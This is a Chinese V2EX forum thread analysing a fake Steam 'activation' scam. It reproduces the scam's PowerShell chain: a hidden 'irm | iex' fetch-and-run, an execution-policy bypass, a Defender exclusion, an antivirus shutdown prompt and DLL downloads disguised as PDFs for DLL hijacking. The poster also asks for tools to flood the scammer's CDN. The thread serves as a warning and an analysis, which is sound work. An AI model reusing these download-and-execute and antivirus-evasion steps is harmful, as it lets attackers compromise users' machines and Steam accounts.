V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
cncmmdwl
V2EX  ›  Steam

steam 假激活的玩意分析

  •  
  •   cncmmdwl · 289 天前 · 3678 次点击
    这是一个创建于 289 天前的主题,其中的信息可能已经有所发展或是发生改变。

    pdd 店家假激活要求输入这个命令

    irm steam.*** | iex 
    

    尝试浏览器直接访问这个 steam 网站,直接跳转到了真 steam 思路错误 然后把管道符号|去掉 发现拉去的还是 html ,发现有些不对,于是把

    irm steam.*** 
    

    的玩意全部一股脑扔进 vscode 然后折叠 html 发现了这个玩意

    
    #>
    
    irm steam.***/pwsDwFile/new -OutFile x.ps1
    
    powershell.exe -ExecutionPolicy Bypass -File x.ps1;
    
    <#
    

    使用 powershell 绕过执行策略的限制 这里我最开始没发现问题,看了半天 html 都快傻眼了,代码还能混淆进 html ?最后反向思考肯定得用 powershell 才能执行接下来的脚本,于是搜搜 powershell 关键字给我找出来上面那两玩意,前面那句居然是藏在 html 里面的,后面那句没有隐藏,vscode 折叠一下就看见 powershell 了 继续跟进 x.ps1

    cls
    
    $filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
     if (Test-Path $filePathToDelete) {
        Remove-Item -Path $filePathToDelete
    }
    $desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
    if (Test-Path $desktopFilePathToDelete) {
        Remove-Item -Path $desktopFilePathToDelete
    }
    

    把自己删了

    $steamRegPath = 'HKCU:\Software\Valve\Steam'
    

    搜搜 steam

    $localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
    if ((Test-Path $steamRegPath)) {
        $properties = Get-ItemProperty -Path $steamRegPath
        if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
            $steamPath = $properties.SteamPath
        }
    }
    

    让用户关掉授权

    if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        Write-Host "[请重新打开 Power shell 打开方式以管理员身份运行]" -ForegroundColor:red
        exit
    }
    
    function PwStart() {
        if(Get-Process "360Tray*" -ErrorAction Stop){
            while(Get-Process 360Tray* -ErrorAction Stop){
                Write-Host "[请先退出 360 安全卫士]" -ForegroundColor:Red
                Start-Sleep 1.5
            }
            PwStart
    
        }
        if(Get-Process "360sd*" -ErrorAction Stop)
        {
            while(Get-Process 360sd* -ErrorAction Stop){
                Write-Host "[请先退出 360 杀毒]" -ForegroundColor:Red
                Start-Sleep 1.5
            }
            PwStart
        }
    

    这句话很奇怪,实际上虚拟机里面没有 steam 并没有执行?

        if ($steamPath -eq ""){
            Write-Host "[请检查您的 Steam 是否正确安装]" -ForegroundColor:Red
            exit
        }
    

    关掉 steam

        Write-Host "[ServerStart        OK]" -ForegroundColor:green
        Stop-Process -Name steam* -Force -ErrorAction Stop
        Start-Sleep 2
        if(Get-Process steam* -ErrorAction Stop){
            TASKKILL /F /IM "steam.exe" | Out-Null
            Start-Sleep 2
        }
    
        if (!(Test-Path $localPath)) {
            md $localPath | Out-Null
            if (!(Test-Path $localPath)) {
                New-Item $localPath -ItemType directory -Force | Out-Null
            }
        }
    
        $catchPath = -join ($steamPath,"\package\data")
        if ((Test-Path $catchPath)) {
            if ((Test-Path $catchPath)) {
                Remove-Item $catchPath -Recurse -Force | Out-Null
            }
        }
    

    添加免杀

        try{
            Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
            Start-Sleep 3
        }catch{}
    
        Write-Host "[Result->0          OK]" -ForegroundColor:green
    

    删掉其他家的 dll ?

        try{
            $d = $steamPath + "/version.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
            $d = $steamPath + "/user32.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
            $d = $steamPath + "/hid.dll"
            if (Test-Path $d) {
                Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #清除文件
            }
        }catch{
            Write-Host "[异常残留请检查[$d]文件是否异常!]" -ForegroundColor:red
            exit
        }
    

    下 pdf 假装?话说老哥们有啥可以刷网络的工具么,其实我有点想刷上一波把他 cdn 刷干净,但是限速 2m 并且单 ip 限 1 个线程

        $downloadData = "http://steam.***/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
        $downloadLink = "http://steam.***/pwsDwFile/9b96dab2bb0ba18d56068fabc5b17185.pdf"
        
        irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
        Write-Host "[Result->1          OK]" -ForegroundColor:green
        $d = $localPath + "/hid"
        irm -Uri $downloadData -OutFile $d -ErrorAction Stop
        Write-Host "[Result->2          OK]" -ForegroundColor:green
        
        Start-Sleep 1
    

    重新打开 steam

        Start steam://
        Write-Host "[连接服务器成功请在 Steam 输入激活码 3 秒后自动关闭]" -ForegroundColor:green
        Start-Sleep 3
        exit
    |
    }
    

    整体看下来就是给 steam 添加了两个文件,可是看起来并没有进行注入什么的啊,我理解就需要 dll 时候是先拉文件目录内的 dll 进行执行?这样才能解释为啥就是只添加了两个文件?

    13 条回复    2024-08-21 22:24:12 +08:00
    FlytoSirius
        1
    FlytoSirius  
       289 天前
    是的, 这种假激活出来这两年 直接在 tb 和 pdd 泛滥, 明明就是欺骗用户, 但是就这么正常做了几年了.

    终于有人 研究下这个东西了.
    cncmmdwl
        2
    cncmmdwl  
    OP
       289 天前
    @FlytoSirius 我技术不精 剩下两个 dll 没法分析,只能说是一点小贡献,主要是好友的 steam 被刷了一波道具找上我。。。
    olaloong
        3
    olaloong  
       289 天前 via Android
    就是 DLL 劫持
    假入库原理可以去了解下 GreenLuma Steamtools 等工具
    Raynard
        4
    Raynard  
       289 天前 via iPhone
    我就被这玩意坑了,99 买的帕鲁激活码,发现不入库,还提心掉胆的怕封号……
    我还是美区,又 99 买了个发现只能国区用
    wegbjwjm
        5
    wegbjwjm  
       289 天前
    KEYLOL 好多大佬八折代购啊
    VIVIANSNOW
        6
    VIVIANSNOW  
       288 天前
    我平时很少玩游戏 steam 有直接一键上号 不用验证任何。即使你有什么安全邮箱 手机 二次认证。没什么用。直接过。换个思路也可以直接让你玩上
    SuspectX
        7
    SuspectX  
       287 天前
    @Raynard 99? 好像跟原价差不多啊,为啥不直接买?
    Raynard
        8
    Raynard  
       287 天前
    @SuspectX 美区贵啊,还以为 99 全服都能激活来着
    CSGO
        9
    CSGO  
       217 天前
    非技术人员,没看懂。
    charlo
        10
    charlo  
       179 天前
    差点中招,感觉激活方式不对,然后来 v2 上搜索一下,感谢大佬指导,果然有坑
    FucGreatFireWall
        11
    FucGreatFireWall  
       102 天前
    localData.vdf 怎么打开
    FucGreatFireWall
        12
    FucGreatFireWall  
       101 天前
    localData.vdf 这个文件会自动更新,伪装成数据的可执行文件(使用了 VirtualProtect)
    FucGreatFireWall
        13
    FucGreatFireWall  
       101 天前
    localData.vdf 是自更新的,动态的可执行代码
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   2858 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 29ms · UTC 12:31 · PVG 20:31 · LAX 04:31 · JFK 07:31
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.